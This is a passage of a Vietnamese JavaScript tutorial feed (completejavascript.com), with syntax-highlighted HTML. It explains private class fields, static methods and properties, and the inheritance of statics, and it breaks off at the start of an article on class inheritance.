punctuation">)</span> value <span class="token operator">=</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#waterAmount <span class="token operator">=</span> value<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">get</span> <span class="token function">volume</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume <span class="token operator">=</span> volume<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo mới bình nước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span>#volume<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Private field '#volume' must be declared in an enclosing class</span></code></pre></div> <p>Trong đoạn code trên, mình đã thay đổi <code>_waterAmount</code> và <code>_volume</code> thành <code>#waterAmount</code> và <code>#volume</code>. Lúc này, các thuộc tính đã <strong>hoàn toàn private</strong>. Nếu bạn cố tình truy cập các thuộc tính này từ bên ngoài class thì sẽ gặp lỗi dạng như trên:</p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">Private field '#volume' must be declared in an enclosing class</code></pre></div> <p>Đặc biệt, với thuộc tính private và phương thức private, bạn không thể truy cập được chúng từ class kế thừa, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">ExtendedWaterBottle</span> <span class="token keyword">extends</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">super</span><span class="token punctuation">(</span>volume<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">debug</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>#volume<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">ExtendedWaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// tạo mới bình nước</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>waterBottle<span class="token punctuation">.</span>#volume<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lỗi: Private field '#volume' must be declared in an enclosing class</span></code></pre></div> <p><strong>Chú ý:</strong> thuộc tính private và phương thức private không thể truy cập thông qua cách sử dụng <code>this[name]</code>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">WaterBottle</span> <span class="token punctuation">{</span> #volume <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> <span class="token comment">// lượng nước trong bình</span> <span class="token function">debug</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> fieldName <span class="token operator">=</span> <span class="token string">"#volume"</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"this[fieldName]"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">[</span>fieldName<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token string">"this.#volume"</span><span class="token punctuation">,</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">volume</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>#volume <span class="token operator">=</span> volume<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> waterBottle <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">WaterBottle</span><span class="token punctuation">(</span><span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> waterBottle<span class="token punctuation">.</span><span class="token function">debug</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// this[fieldName] undefined</span> <span class="token comment">// this.#volume 100</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Tính đóng gói là một trong bốn tính chất quan trọng của lập trình hướng đối tượng. Việc sử dụng tính đóng gói giúp tách biệt phần triển khai code với phần sử dụng bên ngoài.</p> <p>Điều này đặc biệt hữu ích khi bạn xây dựng các module và thư viện. Khi mà người sử dụng code không cần biết đến phần triển khai bên trong, giúp việc sử dụng code trở nên đơn giản hơn.</p> <p>Để áp dụng tính chất đóng gói vào class trong JavaScript, bạn có thể sử dụng một trong hai cách sau:</p> <ul> <li><strong>Thuộc tính protected và phương thức protected</strong>: sử dụng kí tự <code>_</code> trước tên thuộc tính hay phương thức (quy định ngầm).</li> <li><strong>Thuộc tính private và phương thức private</strong>: sử dụng kí tự <code>#</code> trước tên thuộc tính hay phương thức (trình duyệt hỗ trợ).</li> </ul> <p>Tham khảo: <a href="https://javascript.info/private-protected-properties-methods">Private and protected properties and methods</a></p>[email protected]<![CDATA[Thuộc tính và phương thức static của class trong JavaScript]]><![CDATA[Bạn có thể gán một phương thức trực tiếp cho class mà không phải prototype. Phương thức khi đó được gọi là static. Phương thức static Đối với class trong JavaScript, bạn chỉ cần…]]>https://completejavascript.com/thuoc-tinh-phuong-thuc-static-class-trong-javascript/https://completejavascript.com/thuoc-tinh-phuong-thuc-static-class-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]><![CDATA[Prototype]]>Thu, 29 Jun 2017 20:00:00 GMT<p>Bạn có thể gán một phương thức trực tiếp cho class mà không phải <code>prototype</code>. Phương thức khi đó được gọi là <strong>static</strong>.</p> <h2 id="phương-thức-static" style="position:relative;"><a href="#ph%C6%B0%C6%A1ng-th%E1%BB%A9c-static" aria-label="phương thức static permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Phương thức static</h2> <p>Đối với class trong JavaScript, bạn chỉ cần thêm từ khóa <code>static</code> trước phương thức như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span> <span class="token keyword">static</span> <span class="token function">staticMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span> <span class="token operator">===</span> User<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> User<span class="token punctuation">.</span><span class="token function">staticMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Cách này hoàn toàn tương tự việc định nghĩa thuộc tính trực tiếp trong class:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">User</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> User<span class="token punctuation">.</span><span class="token function-variable function">staticMethod</span> <span class="token operator">=</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span> <span class="token operator">===</span> User<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> User<span class="token punctuation">.</span><span class="token function">staticMethod</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <p>Giá trị của <code>this</code> trong <code>User.staticMethod()</code> chính là <strong>hàm khởi tạo</strong> của class <code>User</code>.</p> <p>Thông thường, phương thức static được sử dụng để triển khai các <strong>hàm thuộc về class</strong> nói chung mà không phải ở bất kỳ một object nào.</p> <p>Ví dụ, bạn có các đối tượng <code>Article</code> và cần một hàm để <strong>so sánh chúng</strong>. Và bạn có thể định nghĩa một phương thức static <code>Article.compare</code> như sau:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Article</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">title<span class="token punctuation">,</span> date</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>title <span class="token operator">=</span> title<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>date <span class="token operator">=</span> date<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">static</span> <span class="token function">compare</span><span class="token punctuation">(</span><span class="token parameter">articleA<span class="token punctuation">,</span> articleB</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> articleA<span class="token punctuation">.</span>date <span class="token operator">-</span> articleB<span class="token punctuation">.</span>date<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token comment">// sử dụng</span> <span class="token keyword">let</span> articles <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token keyword">new</span> <span class="token class-name">Article</span><span class="token punctuation">(</span><span class="token string">"HTML"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2019</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Article</span><span class="token punctuation">(</span><span class="token string">"CSS"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2019</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Article</span><span class="token punctuation">(</span><span class="token string">"JavaScript"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token number">2019</span><span class="token punctuation">,</span> <span class="token number">11</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">articles<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span>Article<span class="token punctuation">.</span>compare<span class="token punctuation">)</span><span class="token punctuation">;</span></span>console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>articles<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span>title<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// CSS</span></code></pre></div> <p>Trong ví dụ trên, <code>Article.compare</code> không thuộc bất kỳ một đối tượng article nào cả, mà thuộc về class <code>Article</code>.</p> <p>Còn một ví dụ khác mà mọi người hay gọi là <strong>phương thức factory</strong> hay <strong>factory pattern</strong>. Tưởng tượng, bạn cần một vài cách để khởi tạo đối tượng article như:</p> <ul> <li>Tạo article bởi các tham số truyền vào (<code>title</code> và <code>date</code>).</li> <li>Tạo một article trống với <code>date</code> là <strong>ngày hôm nay</strong>.</li> <li>... hoặc một cách nào khác.</li> </ul> <p>Cách đầu tiên có thể triển khai thông qua hàm khởi tạo. Với cách thứ hai, bạn có thể viết một phương thức static của class <code>Article</code>.</p> <p>Ví dụ phương thức <code>Artice.createTodays()</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Article</span> <span class="token punctuation">{</span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">title<span class="token punctuation">,</span> date</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>title <span class="token operator">=</span> title<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>date <span class="token operator">=</span> date<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">static</span> <span class="token function">createTodays</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token comment">// Chú ý: this = Article</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">this</span><span class="token punctuation">(</span><span class="token string">"Today's digest"</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Date</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token keyword">let</span> article <span class="token operator">=</span> Article<span class="token punctuation">.</span><span class="token function">createTodays</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>article<span class="token punctuation">.</span>title<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Today's digest</span></code></pre></div> <p>Mỗi khi cần tạo một article cho <strong>ngày hôm nay</strong>, bạn có thể gọi <code>Article.createTodays()</code>.</p> <p>Ngoài ra, phương thức static còn được dùng trong các class liên quan đến <strong>database</strong> để thực hiện các thao tác như <strong>tìm kiếm, lưu, xóa dự liệu</strong> trong database, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Xóa một article với id = 12345 trong database ứng với Article</span> Article<span class="token punctuation">.</span><span class="token function">remove</span><span class="token punctuation">(</span><span class="token punctuation">{</span> <span class="token literal-property property">id</span><span class="token operator">:</span> <span class="token number">12345</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="thuộc-tính-static" style="position:relative;"><a href="#thu%E1%BB%99c-t%C3%ADnh-static" aria-label="thuộc tính static permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thuộc tính static</h2> <p>Bạn cũng có thể định nghĩa thuộc tính static trong class như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Article</span> <span class="token punctuation">{</span> <span class="token keyword">static</span> publisher <span class="token operator">=</span> <span class="token string">"Lam P."</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Article<span class="token punctuation">.</span>publisher<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Lam P.</span></code></pre></div> <p>Cách trên hoàn toàn giống với cách gán trực tiếp thuộc tính cho class:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">Article<span class="token punctuation">.</span>publisher <span class="token operator">=</span> <span class="token string">"Lam P."</span><span class="token punctuation">;</span></code></pre></div> <h2 id="kế-thừa-thuộc-tính-và-phương-thức-static" style="position:relative;"><a href="#k%E1%BA%BF-th%E1%BB%ABa-thu%E1%BB%99c-t%C3%ADnh-v%C3%A0-ph%C6%B0%C6%A1ng-th%E1%BB%A9c-static" aria-label="kế thừa thuộc tính và phương thức static permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kế thừa thuộc tính và phương thức static</h2> <p>Thuộc tính và phương thức static của class trong JavaScript <strong>đều có thể <a href="/ke-thua-class-trong-javascript/">kế thừa</a></strong>.</p> <p>Ví dụ, <code>Animal.compare</code> và <code>Animal.planet</code> ở đoạn code sau được kế thừa, sử dụng như là <code>Rabbit.compare</code> hay <code>Rabbit.planet</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">static</span> planet <span class="token operator">=</span> <span class="token string">"Earth"</span><span class="token punctuation">;</span></span> <span class="token function">constructor</span><span class="token punctuation">(</span><span class="token parameter">name<span class="token punctuation">,</span> speed</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">=</span> speed<span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>name <span class="token operator">=</span> name<span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">run</span><span class="token punctuation">(</span><span class="token parameter">speed <span class="token operator">=</span> <span class="token number">0</span></span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>speed <span class="token operator">+=</span> speed<span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> runs with speed </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>speed<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">.</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">static</span> <span class="token function">compare</span><span class="token punctuation">(</span><span class="token parameter">animalA<span class="token punctuation">,</span> animalB</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span><span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> animalA<span class="token punctuation">.</span>speed <span class="token operator">-</span> animalB<span class="token punctuation">.</span>speed<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token punctuation">}</span></span><span class="token punctuation">}</span> <span class="token comment">// Kế thừa từ Animal</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span> <span class="token function">hide</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string"> hides!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> rabbits <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"White Rabbit"</span><span class="token punctuation">,</span> <span class="token number">10</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token keyword">new</span> <span class="token class-name">Rabbit</span><span class="token punctuation">(</span><span class="token string">"Black Rabbit"</span><span class="token punctuation">,</span> <span class="token number">5</span><span class="token punctuation">)</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line">rabbits<span class="token punctuation">.</span><span class="token function">sort</span><span class="token punctuation">(</span>Rabbit<span class="token punctuation">.</span>compare<span class="token punctuation">)</span><span class="token punctuation">;</span></span> rabbits<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">.</span><span class="token function">run</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Black Rabbit runs with speed 5.</span> <span class="gatsby-highlight-code-line">console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Rabbit<span class="token punctuation">.</span>planet<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Earth</span></span></code></pre></div> <p>Trong ví dụ trên, khi gọi <code>Rabbit.compare</code> thì hàm được kế thừa là <code>Animal.compare</code> sẽ được gọi.</p> <p>Nguyên nhân là khi kế thừa với class, <code>Rabbit extends Animal</code> thực sự tạo ra <strong>hai tham chiếu</strong> của <code>[[Prototype]]</code> như sau:</p> <ul> <li>Các hàm trong <code>Rabbit</code> kế thừa các hàm từ <code>Animal</code>.</li> <li>Các hàm trong <code>Rabbit.prototype</code> kế thừa các hàm từ <code>Animal.prototype</code>.</li> </ul> <p>Bạn có thể xem ví dụ sau để thấy rõ điều đó:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token keyword">class</span> <span class="token class-name">Rabbit</span> <span class="token keyword">extends</span> <span class="token class-name">Animal</span> <span class="token punctuation">{</span><span class="token punctuation">}</span> <span class="token comment">// phương thức static</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>Rabbit<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> Animal<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span> <span class="token comment">// phương thức thông thường</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">Rabbit</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>__proto__ <span class="token operator">===</span> <span class="token class-name">Animal</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// true</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Các phương thức static trong class thuộc về chính class đó mà không phải ở bất kỳ một đối tượng nào.</p> <p>Ví dụ phương thức so sánh <code>Article.compare(article1, article2)</code> hay phương thức khởi tạo <strong>factory</strong> như <code>Article.createTodays()</code>.</p> <p>Các phương thức static được định nghĩa trong class bằng cách sử dụng từ khóa <code>static</code> đằng trước.</p> <p>Các thuộc tính static cũng tương tự như phương thức static, chúng tồn tại trong chính class.</p> <p>Cú pháp cơ bản để định nghĩa thuộc tính và phương thức static trong class là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">class</span> <span class="token class-name">MyClass</span> <span class="token punctuation">{</span> <span class="token keyword">static</span> property <span class="token operator">=</span> <span class="token operator">...</span><span class="token punctuation">;</span> <span class="token keyword">static</span> <span class="token function">method</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token operator">...</span> <span class="token punctuation">}</span> <span class="token punctuation">}</span></code></pre></div> <p>Về cơ bản, cách định nghĩa thuộc tính static và phương thức static trong class giống với cách gán trực tiếp cho class như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">MyClass<span class="token punctuation">.</span>property <span class="token operator">=</span> <span class="token operator">...</span> MyClass<span class="token punctuation">.</span>method <span class="token operator">=</span> <span class="token operator">...</span></code></pre></div> <p>Thuộc tính hay phương thức static đều có thể <strong>kế thừa</strong>.</p> <p>Ví dụ khi <code>class B extends A</code>, prototype của <code>B</code> được gán bằng <code>A</code> như sau: <code>B.[[Prototype]] = A</code>. Do đó, nếu một phương thức hay thuộc tính static không được tìm thấy ở <code>B</code> thì JavaScript sẽ tìm kiếm trong <code>A</code>.</p> <p>Tham khảo: <a href="https://javascript.info/static-properties-methods">Static properties and methods</a></p>[email protected]<![CDATA[Kế thừa class trong JavaScript]]><![CDATA[Kế thừa class trong JavaScript là cách để tạo ra một class thông qua việc sử dụng mà mở rộng class khác. Nhờ đó, bạn có thể tạo thêm các tính năng mới mà vẫn giữ nguyên những tính…]]>https://completejavascript.com/ke-thua-class-trong-javascript/https://completejavascript.com/ke-thua-class-trong-javascript/<![CDATA[Class]]><![CDATA[ES6]]><![CDATA[Prototype]]>Thu, 29 Jun 2017 15:00:00 GMT<p>Kế thừa class trong JavaScript là cách để <strong>tạo ra một class</strong> thông qua việc <strong>sử dụng mà mở rộng class khác</strong>. Nhờ đó, bạn có thể tạo thêm các tính năng mới mà vẫn giữ nguyên những tính năng hiện tại.</p> <h2 id="từ-khóa-extend-khi-kế-thừa-class" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-extend-khi-k%E1%BA%BF-th%E1%BB%ABa-class" aria-label="từ khóa extend khi kế thừa class permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 